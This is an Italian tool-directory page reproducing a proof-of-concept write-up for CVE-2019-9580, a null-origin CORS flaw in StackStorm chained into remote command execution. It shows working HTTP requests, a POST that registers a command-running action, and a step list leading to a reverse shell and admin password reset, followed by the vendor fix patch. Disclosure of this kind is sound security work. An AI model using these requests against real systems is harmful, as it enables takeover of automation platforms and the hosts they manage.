Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/mpgn/cve-2019-9580
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubmpgn/cve-2019-9580

CVE-2019-9580

CVE-2019-9580 - StackStorm: sfruttamento di una configurazione errata di CORS (null origin) per ottenere RCE

Vedi Repository
31437 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-9580 - StackStorm che sfrutta l'origine CORS null per ottenere RCE nelle versioni < 2.9.3 e 2.10.3

Prima della versione 2.10.3/2.9.3, se l'origine della richiesta era sconosciuta, veniva restituito null. null può risultare in una richiesta riuscita da un'origine sconosciuta in alcuni client. Consentendo la possibilità di attacchi di tipo XSS contro l'API di StackStorm.

trovato da Barak Tawily e Anna Tsibulskaya

Peek 13-03-2019 17-16 (l'utente su Firefox è la vittima, l'utente su Chrome è l'attaccante)

Prova di concetto

Sfruttamento del CORS null

Inviando una richiesta all'API di StackStorm con un'intestazione Origin null Origin: null, il server risponde con un Access-Control-Allow-Origin a null.

root@kitploit:~
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275

Risposta del server:

root@kitploit:~
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID

Lo sfruttamento del CORS null è documentato in un post del blog di portswigger e possiamo trovare il seguente payload:

root@kitploit:~

Ma per quanto riguarda l'RCE?

StackStorm permette di configurare azioni e alcune di esse come core.remote eseguono comandi arbitrari sull'host di tua scelta.

image

Quindi se impostiamo l'host 127.0.0.1, eseguiremo il comando sul docker di StackStorm. Bene, l'RCE dovrebbe funzionare poiché viene inviata una semplice richiesta POST per registrare un'azione.

root@kitploit:~
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131

{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}

E poi?

Possiamo eseguire comandi sull'host di StackStorm, ok, ma otteniamo il controllo completo sulla piattaforma StackStorm. Questo può essere fatto resettando la password dell'amministratore. Usando la documentazione:

Hai bisogno di cambiare la password? Esegui: sudo htpasswd /etc/st2/htpasswd st2admin. https://docs.stackstorm.com/authentication.html

Bene, mettiamo tutto insieme:

  1. Invia un link alla vittima con un payload malevolo che registra una nuova azione sull'host 127.0.0.1 per eseguire un comando arbitrario
  2. La vittima clicca sul link e visualizza il pony
  3. Poiché il CORS è null quando una richiesta viene inviata con l'intestazione Origin: null, la richiesta POST per registrare la nuova azione funziona (abbiamo anche impostato il parametro credentials: "include")
  4. L'azione viene attivata e il comando eseguito (reverse shell)
  5. L'attaccante resetta la password dell'amministratore e ottiene il controllo completo sulla piattaforma StackStorm
  6. L'attaccante può compromettere tutti gli altri host registrati in StackStorm

capture d'écran_1

Avviso di sicurezza:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://github.com/StackStorm/st2/pull/4577/commits/66605b7b202b8bd2db1ccd8c1ce7279028ac86d4
root@kitploit:~
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return

Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
 st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
 st2common/st2common/middleware/cors.py        | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
             'origin': 'http://xss'
         })
         self.assertEqual(response.status_int, 200)
-        self.assertEqual(response.headers['Access-Control-Allow-Origin'],
-                         'null')
+        self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+                        'http://127.0.0.1:3000')
 
     def test_wildcard_origin(self):
         try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
                     origin_allowed = origin
                 else:
                     # See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
-                    origin_allowed = origin if origin in origins else 'null'
+                    origin_allowed = origin if origin in origins else list(origins)[0]
             else:
                 origin_allowed = list(origins)[0]

Risorse:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://quitten.github.io/StackStorm/
Scarica lo strumento